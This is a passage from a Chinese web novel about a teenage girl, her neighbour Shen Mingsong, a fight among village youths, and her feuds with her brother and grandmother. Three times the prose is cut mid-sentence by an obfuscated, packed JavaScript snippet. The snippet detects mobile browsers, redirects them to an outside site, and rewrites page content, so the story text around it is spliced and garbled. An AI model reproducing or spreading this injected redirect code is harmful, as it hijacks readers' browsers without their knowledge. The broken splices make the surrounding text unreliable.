宋尔雅自然不会让陶冬冬一个小女生替她挡在前面,她挤进两人之间:“和沈小年打架的人是我。” 虽然是她单方面挨揍了。 沈路桦撇了一眼她,转过身冲沈小年恨恨咬牙:“老幺,你不会告诉我打你的是这个矮冬瓜吧?” 矮冬瓜? 宋尔雅心梗了,她是比同龄人要矮小,可也不要这样羞辱她吧。 沈小年不敢直视他哥目光,弱弱辩解:“我才十岁,她比我大四岁呢。” 宋尔雅更糟心了,沈小年居然比她还小的么? 她皱眉:“你们要怎么样吗?打我一顿?” 要打要杀就快点,不要语言羞辱她。 宋尔雅比陶冬冬要淡定,心态良好的想,要是真被打了能不能赔她一笔医药费呢? 沈路桦低头看她,小破孩还挺勇敢的,一身泥巴脏兮兮的,唯一能下手的就那张脸蛋,劣根驱使着他上手用力掐了一把。 “宋国梁,你妹妹可比你大胆。”他偏头和人堆中的宋国梁说话。 宋国梁双手贴着裤线不安地蹭,迟迟没吱声,他费了好大功夫进圈子做个跟班小弟,他并不想为了宋尔雅得罪朋友。 而且这小丫头最近很不听话,大姐不给他洗衣服了,他让她洗,结果她也不肯,他快没有干净的衣服穿了。 看着妹妹被欺负他没吱声。 沈路桦目光鄙视,居然能对自己妹妹视而不见,死胖子一个还想加入他们? 他松了手,只就想口头警告两人一下,立一立自己在这一片的威信。 “你们两个……” 沈路桦话说到一半,一只章鱼咻地飞过来“啪叽”一下狠狠砸他脸上,腥臭的液体溅了他一脸。 “那个王八蛋!!!”沈路桦啊啊啊怪叫,两眼冒火地转着脑袋四处寻找真凶,“沈明松!!!” 去而复返的沈明松坐在他的三轮上,脚尖着地,微微眯起眼尾上挑的丹凤眼,面色不善地冲沈路桦几人骂道:“孬种。” 大男人欺负小女生是件很丢人的事,还被沈明松撞见了,沈路桦面上挂不住,丢脸中激发更大的愤怒。 “这本没你的事。”不过现在有了,沈路桦抹掉脸上的液体,“聊聊?” 沈明松从三轮跳下来,路过宋尔雅时沉声道:“没你两事了,回家去。” ~ 几人乌泱乌泱地往红树林里走,找了块偏僻的地方大展身手。 沈路桦那边有四个人,沈明松独自一人跟着走。 身后还悄摸摸地跟了两个小丫头。 宋尔雅藏在大树背后,她没见过少年人打架,和陶冬冬商量:“要不我们报警吧?” “报警?”陶冬冬挠头,“可是这里走到杂货铺打电话要半个多小时。”估计还没去到这一架就打完了,警察也不管小孩打架啊。 宋尔雅把嘴闭上了,差点忘记这年头通讯用的还是座机,大哥大还是极少数人才能拥有的稀罕玩意。 “沈明松打架也很厉害的,应该不会输。” 少年的个子已经很高了,虽还没长成后面那般高大挺拔。 他身板绷紧,结实有力的手臂因劳作而长出薄薄一层肌肉,充斥着蓄势待发的攻击力。 沈路桦看着他阴沉沉的眼神,也拿出浑身气势欲要压过去,“我这个当哥的让着你一点,等会你受不住了就投降,哥包管收手。” 说完又去看沈小年他们:“等会你们谁都不许插手啊。” 沈明松:“装什么?” 沈路桦从小混到大,也不是没打过沈明松这个堂弟,可随时他年龄增长,他个子如同打了激素一样窜上去,沈路桦看他都要微微抬头了。 沈路桦嘴里骂了句好脏的话,捏着拳头一个健步冲上去就要砸人。 沈明松轻巧躲开,反客为主的截住他手臂扭转至身后,手肘狠狠击打在沈路桦后背,不给他反机会将其按在地上。 沈路桦脑瓜子嗡嗡的,竟是使不上力气来,刚起个头就被揍了几拳。 两人实力悬殊,不用看就知道结果。 “日你娘咧。” 沈路桦哥们沉不住上去一脚飞踢,沈明松拉沈路桦挡了,沈路桦背踹飞后很快爬起来违背自己刚刚说的话,骂了几句,开始实行二打一。 沈明松沉默应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510434|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对,身上挨了几下也只是闷哼,他只找准目标逮着沈路桦揍,三人扭打在一起快得让人看不清动作,沈明松明显处在上风。 陶冬冬还有心情吐槽:“怎么和电影里的不一样呢?” 完全没有那么多的漂亮把式和花招,几人都肉搏,嘴上攻击力也是强悍,脏话不断,沈明松异常地沉默。 宋尔雅觉得,此时的他松像条沉默而咬人的野狗,专挑着别人身上最疼的点打。 拳头雨点般落下,沈路桦被重点关照,想不明白这小兔崽子近几年吃什么长大的,凶猛得如一头公牛,使不完的劲全往他身上发泄。 沈小年听到自家亲哥吃痛发出的呕吐声,焦急地去推宋国梁:“傻站着干嘛,你也去帮忙啊。” 宋国梁一张脸都吓白了,可他好不容易才混成沈路桦跟班,还没体验过跟着大哥耀武扬威的日子,现在正是表现得好时候…… 不管了! 宋国梁心一横加入了战斗。 一片混乱中,他靠着自己肥胖的身躯将沈明松压在了地上,另外两人趁机扼制住了他。 宋国梁的体重得二百来斤了,压得人差点成饼。沈明松正要掀开他,另一个也压上来。 沈路桦一把抓起沈明松头发,抬起他的脸来,啐了一口带血唾沫:“横啊,刚才不是挺横的吗?” 沈明松闭了闭眼,额角青筋暴起。 沈路桦显然不是什么君子,恨死方才被打的狼狈,势必要追回自己天大的面子。 “你求饶啊。”他以多欺少逼迫沈明松,在他脑袋前张开了腿挑衅道,“从这里钻过去,哥今天就饶了你。” 沈明松眼底瞬间然起了猛烈地进攻意图,撑着地面的双手青筋暴起,愤怒涌进他蜿蜒的血管之中,差点掀翻身上两个人。 “太卑鄙!”陶冬冬看得愤愤不平。 宋尔雅经历和沈小年一战就认清了自己实力,完完全全是个小废物,她手指扣了扣树干,忽然生出一股莽劲窜过去。 她想都没想一口就咬在靠体重压制提高胜率的宋国梁手臂上,牙齿是她唯一具有攻击性的武器。 “啊!!!你个疯丫头我是你哥!!!” 她用了全身力气去咬,宋国梁疼得嗷嗷叫,不得不把注意力放她身上,手臂被咬得破皮出血,他疼极扇了宋尔雅一大耳刮子。 咔嚓! 宋尔雅耳朵一阵电流嗡嗡声,两眼发黑,感觉有什么东西断了,口腔迅速弥漫一股浓重的血腥味。 沈明松趁机掀开身上的人,来不及有什么动作,先见宋尔雅跌坐在地,哇地一下吐出一大口血水来。 众人都被这一幕吓愣了,一时鸦雀无声,看着鲜红的液体流满她下巴,宋尔雅软绵绵地往地上倒,身体微微抽搐。 她肤色是病态的那种惨白,目光呆滞躺那捂嘴吐血的场面就十分触目惊心,众人呆滞住了。 连哭都不会哭了,不会出人命吧? 宋尔雅半张脸疼麻了,她捂住嘴巴不断咳嗽,口水混着鲜血从指缝中流出,下一秒忽然和死人一样一动不动。 宋国梁伸出手指哆哆嗦嗦去探她的鼻息:“没、没气了?” 沈明松用肩膀撞开他,前来察看她的情况。 一群未成年可承担不起一条人命的重量,几人纷纷跑了,沈明松将她抱起来去找医院。 陶冬冬也意识到了事情严重性,拔腿就跑回去找大人。 9. 第 9 章 宋芳回来后看见她红肿得不成样的小脸怒火中烧,她一直信奉着骨肉相连,血浓于水的话。 一家人打断骨头连着筋,宋国梁下手也太狠了。 “宋国梁,你到底还是不是人,和别人欺负自家妹妹!都叫你不要跟沈路桦那几个混蛋玩你就是不听!” 宋芳捡了烧火棍抽他,觉得自己没有做好管教义务愧对天上的父母。 宋国梁顶嘴:“你自己不也和沈明松他家关系好吗。” 他也觉得自己很委屈,明明小丫头先动的口,自己是家里唯一男丁被千捧万捧,哪里挨过打。 宋芳撵着他满院子转令他很丢人,门口都是来看热闹的邻居,纷纷指责起他来,不知怎么地,他出手推倒了宋芳。 “臭娘们,老子打了就打了,小丫头片子又不是打不得!别逼我连你一起打。” 宋芳错愕,坐在地上好半天没回过神来。 “你说什么。”她尖锐的声音划破夏天的夜晚,比蝉鸣凄厉,“宋国梁你再说一遍!” 她知道弟弟智商不高,容易被人带坏,却也没想已经到这种地步了。 宋国梁起初还是心虚的,但后来越想越认为自己没什么不对,这谁家不打孩子,他作为哥哥教训一下妹妹怎么了? “再说一遍又怎么样。”宋国梁横着脖子道。 宋芳气得浑身哆嗦:“你给我滚!马上滚!” “要滚也是你滚,奶奶说这个家是由我做主。” 宋尔雅捂着腮帮子瞅宋国梁,想着要不要再给他来一口。 有街坊看不下去了,“国梁,你怎么能这么和你姐说话,她一个人养你们两多不容易,多大一个大姑娘了都还没嫁人。” “关你们什么事。”宋国梁跑过去把院子铁门关上,可那些人的目光还是隔着栏杆审视过来,他不知想了什么,又拉开门跑了。 宋芳坐在地上被气出眼泪,宋尔雅去拉她起来正想安慰几句。宋芳闻到厨房烧糊的味道,拍拍身上的灰连忙冲进去了。 她情绪来得快去得也快,在宋尔雅记忆中母亲似乎一直没有太多能悲伤的时间。 等晚上时,宋家奶奶过来了。不知宋国梁怎么和她说的,她把姐妹训了一顿,说她不该在那么多外人前面打自己弟弟的,会让他没脸。 宋尔雅看出来老太太很讲究面子,还特意要关起门来教训孙女,脸拉得长长的。 宋芳脸色憋屈难堪,刚反驳一句就被老太太一连串地驳回来,最后干脆垂着头乖乖听训。 宋尔雅在水里撒了一把盐,端给老太太喝,看她一口喷了出来露出笑脸:“哈哈!” 宋芳很震惊。 老太太咸得跑进厨房喝了几杯自己倒的水,胸口起伏得厉害,像要一口气撅过去。 宋芳忙着去扶她坐回椅子上:“怎么这样和奶奶开玩笑?” 老太太缓过神来拿起扫把要打她,宋尔雅反应极快地夺过去,用头顶着老太太肚子让她重新坐回椅子上。 这下老太太把怒火都转向她,伸手要去拧她耳朵骂人。 宋瑶没少被拧过,严重点还会被小竹鞭抽打小腿,导致她见到奶奶就怕。 宋尔雅躲开老太太魔爪,看她还要上来打自己,她转身就往外跑。 “你这死孩子!”老太太气得不行,追出来要教训她。 人老了腿脚不行,宋尔雅和她保持着个不远不近距离,等老太太不追她了,她又凑过去:“奶奶!” 溜着人玩似的。 见她这样,老太太今天非打她不可,追着她跑到院子外面。 她一个转身又冲回院子里,把铁门关上却上锁。 宋芳已经目瞪口呆了。 宋尔雅上去抱住宋芳腰不让她去开门:“姐姐,你是不是傻啊,傻站着给她骂你?” 印象中母亲不是这么懦弱的。 幼时父亲那边的亲戚嫌弃宋尔雅是女孩,尤其是奶奶还老偷偷掐哭她,有次被宋芳看见后,宋芳直接冲上去抡了奶奶两拳。 宋芳还教她以后被欺负了不要傻傻承受着。 也许是因为现在的母亲还太年轻了,性格没硬起来。 老太太隔着铁门骂人,没骂两句,街坊又来凑热闹了。 家丑不可外扬,老太太顿时收声,不愿让别人看自己笑话,扁着嘴自己走了。 等老太太走后,宋芳拉着人回屋里:“你不可以这样对奶奶的。” “为什么?她都这样骂我们,她还要打我。”宋尔雅耸肩。 “奶奶是长辈啊,我们要尊老爱幼。” “她也不爱我们呀,父慈子孝,奶不慈,孙不孝。” 宋芳说不过她:“歪道理。” 不过宋芳心里也不太开心被奶奶随意责骂,明明就不是她的错。 宋国梁回来后,鼻子不是鼻子,眼不是眼的,斜着眼看人。 宋芳也没给他好脸色。 宋尔雅去抓了几颗辣椒捏碎,然后用手去摸他眼睛。 宋国梁捂着火辣辣的眼睛要拿棍子打她,她赶紧跑进了隔壁院子把铁门关上,宋国梁不敢踏入。 沈明松正在院子里点着炉子炒菜,发出沉闷笑声。 这小孩什么时候变得这么好玩? 没两天,宋国梁搬去奶奶家住了。 被老太太不分青红皂白骂了一顿之后,宋尔雅趁机怂恿宋芳以后别管宋国梁了,最好连饭也不给他做了。 宋芳也生他气,真就不管了。 宋尔雅非常担心自己长不高就拼了命地吃,把锅底都刮干净。保证宋国梁回来一粒米凑吃不到。 才饿了一顿宋国梁就迫不及待跑奶奶家诉苦去了,他也早就吃腻了家里清汤寡水的饭菜,借着此机会说要去奶奶家住。 老太太一听大孙子被饿着了,又赶过来痛骂宋芳一顿,宋尔雅再次激怒她后耍着她玩。 老太太这回不上她当,怕宋芳饿死孙子,就把人带走了。 然而宋尔雅也不是什么油的灯,她不能白挨骂,也不想动不动就被骂,于是她开始天天往老太太家里去。 老太太家是开小卖铺的,没法子把门关上。 夏日炎热,知了在枝头上叫个没完没了,一泡泡尿撒下来。她戴了顶小草帽,挑着有树荫的地方走,脸上还留着红印子,走了几分钟才到老太太家。 小卖铺在最多人的路口,已经有群老头老太汇集在阴凉处,剥着花生往这边看来,宋尔雅和她们打招呼确保每个人都能看见,她走进门开心大喊:“奶奶,我来啦。” 老太太正清扫着货架上的灰,手一抖差点将鸡毛掸子抽她身上。 奈何外面有无数双眼睛正盯着,老太太知道流言蜚语传播的速度和厉害,她勉强没动手。 “小妹,奶奶昨天不是叫你不要来了么?”老太太把柜台上的一罐糖果收起来,那是新开罐的,宋尔雅天天过来掏一把装口袋里,没几天都快见底了,可把她心疼坏了。 宋尔雅笑嘻嘻:“我喜欢奶奶家,奶奶这有好多好吃的,我天天都想来。” 老太太脸上松散垂下的肉控制不住地抖,嘟囔着骂了几句什么,宋尔雅只当听不见,今天依旧要在这里混吃混喝。 她不吵也不闹,还会嘴巴甜甜的冲人说好话,帮忙招呼来买东西的客人,想吃什么自己拿,到了饭点就装傻充愣不回自己家,自觉地就去拿碗盛饭吃。 她在家吃饭斯斯文文,到了那儿就开始学宋国梁龙卷风扫荡,什么好吃的都夹自己碗里。 吃完了还要拿碗装回去给宋芳,嘴里好话不停,说:“奶奶真好,奶奶家红烧肉真好吃,明天可不可以还做呀?” 她也不怕宋老太太语言攻击,真打她她就跑出门口找个老太太扎堆的地方嚎啕大哭。 她脸上的红肿还未消失,哭得也卖力,别人一问就是“哥哥打的,肚子饿,奶奶不给吃”之类的话。 无父无母的孩子都可怜,小丫头更是,都十四岁了就那么点大,和她那个大胖哥哥形成鲜明对比。 虽然重男轻女在这边常见,但这年头了也不至于饿着孩子不给东西吃,老宋家根本不贫苦,好歹是孙女也不照顾着点。 没几天就有居委会上门去问是怎么个事,如今饿死小孩可是犯法要坐牢的,老太太脸上挂不住,一时还真拿她没办法。 沈明松家的油壶见底了,他拎着空瓶过来看见她,微微挑起一边眉毛,目光落到她那张半张脸上:“没抹药。” 宋尔雅揉揉脸:“抹了的,它不管用。” 倒是沈明松眼上的淤青已经消失了,若不是她自己脸还肿着,她都怀疑那个医师给了什么灵丹妙药。 她接过他手中油瓶帮忙打。 这时候的油是自家种的花生榨出来的,装在一个大坛子里面,她用小勺子舀出来往瓶子里面灌,神情专注,连眼睫都很小心地颤动。 从沈明松高个的角度看下去,她侧脸圆润柔和,叫人想掐一把。 “够了够了。” 老太太盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510436|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着瓶身着急道打断了这短暂的安静。 油还是灌到了瓶口,无论谁来买醋买油,宋尔雅都故意给人装多,老太太这回终于受不了她了,再被她这样弄下去,小卖部迟早要关门。 她拉着脸,忍痛在赚钱的抽屉里拿了张十块钱打发她离开,叫她以后别再来了。 宋尔雅在小卖铺干了几天的活,心安理得地把钱收了说谢谢奶奶,拉来板凳站上去抱下藏在货架最高的一罐猪油糖要薅走,急得老太太鸡毛掸子抽过来。 沈明松及时拽了她一下躲过去了,她赶紧撒丫子就跑。 小卖铺离家里好一段距离,老太太追不过来,宋尔雅一口气跑回家,坐在院子门前石凳上去拧糖罐子盖拿糖吃。 她吃到第四颗时,沈明松的身影才缓缓走来,停在她面前,眼底隐隐藏着笑意:“你倒是机灵。” 他认为妹妹这种生物要么乖巧可爱,要么和陶冬冬一样,像个男孩子,宋尔雅却给他装乖的感觉。 表面安静乖巧,底子比陶冬冬都野。 像张奶奶家养的那只幼猫,浑身毛发软软的,眼睛又大又明亮,被人触碰会举着爪子要挠人,指甲尖尖又没有什么攻击性,他拎着后颈拎起来,它又呜呜卖乖。 宋尔雅嘿嘿一笑,也不管他是在嘲讽还是夸奖,还掏出几颗猪油糖给他。 沈明松不吃糖,从口袋摸出几张钱来给她,是上次卖海货的钱,有零有整,他让她自己和陶冬冬分。 宋尔雅还想着上次药钱要还给他,他也没要。 宋尔雅跑回屋把糖罐放橱柜里,想起宋芳和她说的话,又跑到隔壁:“哥哥,我妈叫我今天要帮阿姨洗头。” 沈明松应了声,穿着拖鞋就来,他把明珠抱洗漱间凳子上,才把宋尔雅喊进来。 明珠裤腿空荡荡的,膝盖以下的部位都没了,明珠一向要体面的,哪怕躲在家里不出门,也每日穿得干净整洁,不允许自己弄得邋遢。 以前还得靠着宋芳每天来帮忙洗澡,后面她锻炼起手臂力量也能做到自理,但总归是比正常人困难的,宋芳有空还是会过来帮忙。 宋尔雅把明珠头发浸泡在水盆中,小心地揉搓出泡来。 明珠闭着眼睛享受着她的服务,忽然说:“如果阿姨也有个女儿就好了。” 宋尔雅眨眨眼,明奶奶得了艾尔兹海默症后就把她当成女儿,经常提醒她沈明松是哥哥,不是叔叔。 宋尔雅有了宋瑶记忆后才知道,明珠确实是有过一个女儿的,只是那个孩子没能出生。 明珠是在去医院产检时遭遇连环车祸,肇事者人车毁人亡,她勉强捡回一条命,不仅失去了双腿,腹中胎儿也没了生命迹象。 明奶奶痴呆后就出现了记忆混乱,有一天她甚至翻出不知道是谁照片给宋尔雅看,说那是沈明松妹妹,也就是宋尔雅。 那是在海边拍摄的,少女穿一条绿色的连衣裙,长发如墨。大概是很多年前拍的,照片受损厉害都看不清脸了。 但身形乍一看还真像是宋尔雅。 她把照片要走了,每次翻出来看,在抚摸着少女脸部时都感到一阵莫名地困顿,在不知不觉中睡了过去。 有次她就在秋千吊床上睡着,似乎还做了很长的一个梦,偏醒来什么都不记得了,一睁眼看见了一团黑影。 她醒得太突然,撞见沈明松来不及收回的那温柔眼神,和平常的温柔都不一样,没了那种淡淡地距离感。 他就站秋千旁,宋尔雅一坐起来,他就偏过头避开了。 照片从怀里滑落在地,被他捡起来,他看见照片时都愣神了。 宋尔雅问:“叔叔,奶奶说这是你妹妹,我怎么没有见过她?” 沈明松看了半晌,又如同枯木地沉寂许久:“我没有妹妹。” 宋尔雅追问他照片里的人是谁,沈明松说是爱人。 因为这个回答宋尔雅辗转难眠。 沈明松无儿无女,连一段婚姻都没有过,也一直没有找个女主人回来,任由宋尔雅在沈家作威作福。 她最开始还偷偷揣测过他收养自己就是想要个孩子给明奶奶解闷的。 后面她又猜,因为她很像那个少女,所以沈明松很宠爱她。 受网络小说荼毒,她当时可生气了,觉得自己可能是某位白月光的平替。 她霸道地把照片占为己有,锁在自己小箱子里,后来那张照片不知道怎么找不到了,像凭空消失了一样。 她还怀疑过是不是自己生气时给烧了。 11. 第 11 章 沈明松摸出钥匙打开大门那把巨大的锁。 大门只有他在平日在家时才会敞开,其余时间都落了锁,家里住了腿脚不方便的母亲,他总放心不下 渔民也有休息日的,他这几天没去跟船出海,他把院里红透的荔枝剪来拿出去卖了,这水果吃多上火,他每年只留一些,其他的都骑着三轮车运出去卖掉,阳光晒得他睁不开眼。 沈明松用毛巾擦着汗进来 明珠听到声响抬头看他:“桌面有绿豆水。” 沈明松应了声,越过敞开房门看见母亲床上睡了个小姑娘,一堆书本被她踢到地上了,人挨着风扇睡,还不忘拉着小被子盖住了肚子。 明珠轻轻晃着扇子给她赶蚊子,精神似乎比以往日要好许多。 “她怎么进来的?”沈明松略有疑惑,眼睛从窗户往向院墙看去。 沈大伯翻墙进来那次之后沈,明松就去大排档捡了啤酒瓶子砸碎,坐在梯子往自家低矮院墙上镶进了一片片碎玻璃。 “她从铁栏挤进来的。” 小姑娘费了老劲从栏杆钻进来的,脑袋比身体大了一点,还卡了一下,想起那个滑稽场面,明珠就笑了一下。 比起这个,沈明松更想知道这她是怎么说服他母亲爬上她床还睡着了,这小孩这么会缠人? “不知怎么的,她现在都不怕人了。”明珠越看越喜欢,眼见时间快六点了,她摇了摇宋尔雅肩膀想要喊醒她该回家去了。 宋尔雅已经午睡了很长时间了,越睡越起不来,她挠挠脸发出不满的声音,又睡了过去赖着不肯起床。 明珠没办法只好叫沈明松抱她回去。 沈明松去拉她胳膊,宋尔雅感觉到自己被抱起来就顺手搂住沈明松脖子,柔软的脸颊蹭在颈间,呼出温热的气息。 软乎乎的,身上衣服留着洗衣粉的味道。 沈明松不自在地歪头避开她的动作,抬手推开她脑袋:“起来了。” 宋尔雅慢慢睁开眼,脸上有席子上的红印,她轻轻呢喃:“叔叔?” 她带着鼻音喊得含糊,只有沈明松听清楚了。 明珠说:“她也不怕你了。” 沈明松再次推宋尔雅脑袋:“醒了就下来自己回去。” 宋尔雅还糊涂着呢,又将脑袋枕回沈明松肩头,耍赖:“困。” 果然缠人,沈明松用力摇了摇她肩膀,宋尔雅终于被摇醒了,揉着眼睛:“哥哥,我刚刚做了一个梦。” “什么?”沈明松垂着眼睑,小姑娘眼尾绯红,眸里氤氲层水汽,看起来像做噩梦被吓哭了。 “我梦见哥哥以后成了大老板,有很多很多的钱,我想花多少就算多少,然后我就笑醒了。” “写作业写疯了?”沈明松一听就知道她在放屁,他为什么要给她钱花。 宋尔雅下床穿鞋,把书本捡起来往书包里装好,在出门时忽然回头:“哥哥你身上好多汗,臭臭的。” 沈明松一怔,手里拿着擦汗的毛巾,闻言甩过来要抽她脑袋,宋尔雅笑嘻嘻地地拔腿就跑。 其实她是做了个噩梦,梦里她还待在医院中,视野白茫茫的,看着一个个白大褂在她周围来回飘动,沈明松握着她的手同她说着什么,她还未回应,他的身影忽然也模糊了起来,化作烟雾,她一抓就散了。 宋尔雅拒绝去想那些事。 回家看时间都有些晚了,赶紧洗米煮饭,宋芳在院子里开垦出了一小块菜地,种点葱蒜什么的,她去拔了几根来洗,抬头一看隔壁也升起了烟雾,沈明松不知道在做什么弄得咚咚响。 宋芳骑着自行回来,二八杠的那种,亏得她腿长才能驾驭,后座载了一个纸箱,宋尔雅探头去看,里面放了十几只刚孵出来的小鸡,毛茸茸的。 宋芳说这些鸡以后归她了,养到过年就可以吃了。 宋尔雅傻眼了,她哪里会养什么鸡,她连宠物都没养过。 宋芳却已经打量起院子来,规划着哪块地用来养鸡。 宋尔雅蹲在纸箱前数了数,一共13只,小鸡嘴壳还是软软的,啄在手心上毫无杀伤力。 一颗荔枝突然落进了纸箱中,抬头一看沈明松就坐在他家树上剪荔枝,居高临下地看她:“你这样玩它会死的。” 宋尔雅赶紧把手里小鸡放回纸箱,和它道歉。 宋芳也抬头去看:“明松,什么时候有空帮姐钉个鸡笼?” 沈明松想了一下,说过几天。 宋芳使唤完他,该轮到宋尔雅了,她站到院墙边上仰头问:“哥哥你明天去卖荔枝能不能带我,我也要去。” 沈明松说不行。 宋尔雅装听不见,擅自定下时间。 “明天八点,我们准时出发。” ~ 第二天宋尔雅等宋芳出门去上班后,就着急蹿过隔壁把明珠房内的手工品装书包里,然后等沈明松出门。 她今天没再穿着宋国梁穿小了不要的衣服,从衣柜底翻出了一件红色背带裙,搭着白色娃娃领上衣给换衫,领口绣着蕾丝花边,衬得人也鲜艳起来。 这是她为数不多的体面衣服。 她双手搭在沈明松手臂上轻轻摇晃:“就带我出去吧,好不好嘛。” 沈明松反应很大,一下就抬手甩开了她:“好好说话,撒什么娇。” 宋尔雅只愣了一会儿,继续动手动脚,双手再次去碰他胳膊:“求你了哥哥。” 沈明松再次甩开,他没有闲功夫成天陪小孩玩,将昨晚剪下来的荔枝放三轮车垒好,嘴里说不行就是不行。 显然宋尔雅缠人的功力比他想象中要强,她直接爬上他的三轮车后座。 “带我去带我去。”她赖着不肯下车,小手死死抓住车头把手,发着誓承诺,“我保证不烦你。” 这时已经有资本家看中月牙湾中心区域,投下大笔钱划分出一片旅游景区建了海景酒店,在最近的长林路开发一片商贸街,大大小小店铺一家家开起来,也允许摊贩摆摊,从早到晚人流量都不错。 坐公交车去要钱,何况宋尔雅对那儿也人生地不熟,她就盯上沈明松三轮车了,好歹是交通工具,能带人它就是劳斯莱斯。 沈明松想扯她下来,又不知道从哪儿上手,拿不定主意扯她手还是脚。 他抬头看看火辣辣的太阳,又看她细白娇嫩的脸,还是抿嘴摇头拒绝。 但宋尔雅这个人吧,打小被宋芳溺爱着长大的,后面更是在沈家倍受宠爱,惯会耍无赖,比熊孩子好一点就是不会躺地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510438|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上打滚了。 “滚下来!” 宋尔雅摇头:“不要不要。“她已经从三轮车后面的荔枝堆了腾出一块空地,手帕擦出一块干净地方坐上去了。 “哥哥,我真的不会乱跑给你添麻烦了,要不你拿绳子牵着我。” “不去找你亲哥,成天缠我做什么?”沈明松沉着脸凶她,倒真想找绳子把她绑树上溜了。 “你不打我呀。”宋尔雅直白地拍起马屁,清亮的眼眸似海水波光粼粼,一笑就荡漾,“我喜欢和哥哥你玩。” 沈明松可不吃她这一套,架起她两边腋下抬起她来,臂力惊人地举着她径直走到荔枝树下,稍稍用力就将她丢树干上坐着了。 宋尔雅傻眼了,双眼瞪得圆圆的,好半天才愣愣地:“我……我不和你玩了。” 对沈明松毫无攻击力。 她又反应过来她这样和小孩有什么区别,净会说些无用的威胁,眼瞅着沈明松要走,她伸手抓住了他头发。 沈明松猝不及防吃痛道:“松手!” “我不!” “一会把你丢海喂鲨鱼去。” 明珠坐窗户边上看两人这么闹腾,当她暑假没有小伙伴陪着玩,可怜见得,不由帮腔:“就带她去吧。” “就是就是。”宋尔雅抓着头发说什么也不放,一副要纠缠到底的模样。 沈明松咬着牙瞪她,恨恨地想拉出去晒一天就老实了,伸手把她从树干上抱下来。 她脚一落地就飞快地往三轮车上跳,警惕着他再把自己扔树上。 沈明松:“……” 得,狗皮药膏黏身上了。 最终他还是骑着车载人出去了,宋尔雅没有防晒霜这种东西,就物理防晒,撑开一把小花伞把自己和前面蹬三轮的沈明松遮住。 “这么娇贵还非要跟来。”沈明松冷哼道。 宋尔雅目的得逞心情愉悦:“哥哥果然没有女朋友。” 沈明松不懂这其中逻辑,用力蹬着三轮:“坐稳点。” 宋尔雅没听他的,继续单手把伞举得高高地,兴致勃勃地说:“我觉得我们今天能赚到钱。” “又白日做梦了。” 椰城非繁华城市,发展较为缓慢,这时也没太多高楼林立,办公楼上还用着大红大绿的广告牌,特别显眼。 大多数人还是靠着自行车出行,估计新开发的区域,街道熙熙攘攘,基本都是些年轻人和外国旅客,捧着椰子当汽水叼着吸管喝。 宋尔雅瞄了一眼沈明松拖鞋沙滩裤的穿搭,很好辨认出旅客和本地人的区别。 沈明松找了块有遮阴的地方待着,今天有宋尔雅在他不好去太远的地方。 宋尔雅在观察人流,挑选自己的下手目标,这年头能来旅游的家底都不会太差,情侣、和大学生是最舍得花钱的那一类。 也有差不多年纪的小孩在向游客售卖汽水,用鲜花点缀过的草帽。 没一会就先有个寸头男人走过来,体型壮硕,短袖在双臂纹满了青龙白虎,额角有一道疤痕,宋尔雅谨慎地看着他,怀疑是来收保护费的大哥。 “小孩怎么卖?”大哥问。 沈明松头也不抬:”十块钱抱走。“ 宋尔雅:“!” 12. 第 12 章 “小兔崽子,穷得卖小孩过活了。”男人笑骂,想上手来捏宋尔雅脸,“哪家偷来的小妹妹?” 沈明松喊他哥,把宋尔雅拉回到身后说:“家里妹妹,胆子小。” 宋尔雅悬着地心放下来一点,从沈明松身后露出个脑袋看人。 林海意外地挑挑眉:“这还胆小?“ 正常小孩看见他都不敢凑近。 宋尔雅问大哥吃荔枝不? 林海丝毫不和他们客气,薅了一把拿在手上吃,用口音浓重的普通话和沈明松说话。 “你说的那啥玩意,哥给弄来了。” 宋尔雅正要竖着耳朵,沈明松从口袋里掏出张皱巴巴的一块钱丢给她,支开她去买凉粉。 她还想磨蹭一下,被轻轻踢了。 林海孤儿一个,经常吃不饱,是当时的班主任,也就是明珠常常带他回家吃饭,才没被饿死。 林海混出名堂后,认了沈明松做弟弟,对他能帮就多帮,至少能罩着他在这条街横着走。 沈明松也不挟恩图报,不给他惹事闹事,反而踏踏实实地做自己小生意养家。 林海盘下这一带大多房地,如今市场打开了,他在这条街开满了店,赚得盆满钵满。他货源来路广,就帮沈明松弄来了一批随身听,国产的,比起牌子货来可要便宜太多,恰好是当下人能消费得起的水平, 沈明松拿着他带来的样机道谢,低头拨弄时突然插入另一个话题:“周三,方文彬去了周强那儿。” 林海瞬间收敛了笑脸,气氛变得阴沉。 周强是林海死对头,而方文彬是他手底下管账的会计,两人从穿开裆裤就是好兄弟,如若不是他贪得太明显让林海起了疑心让沈明松偷偷去查,还不知道手底下好几人都变心了。 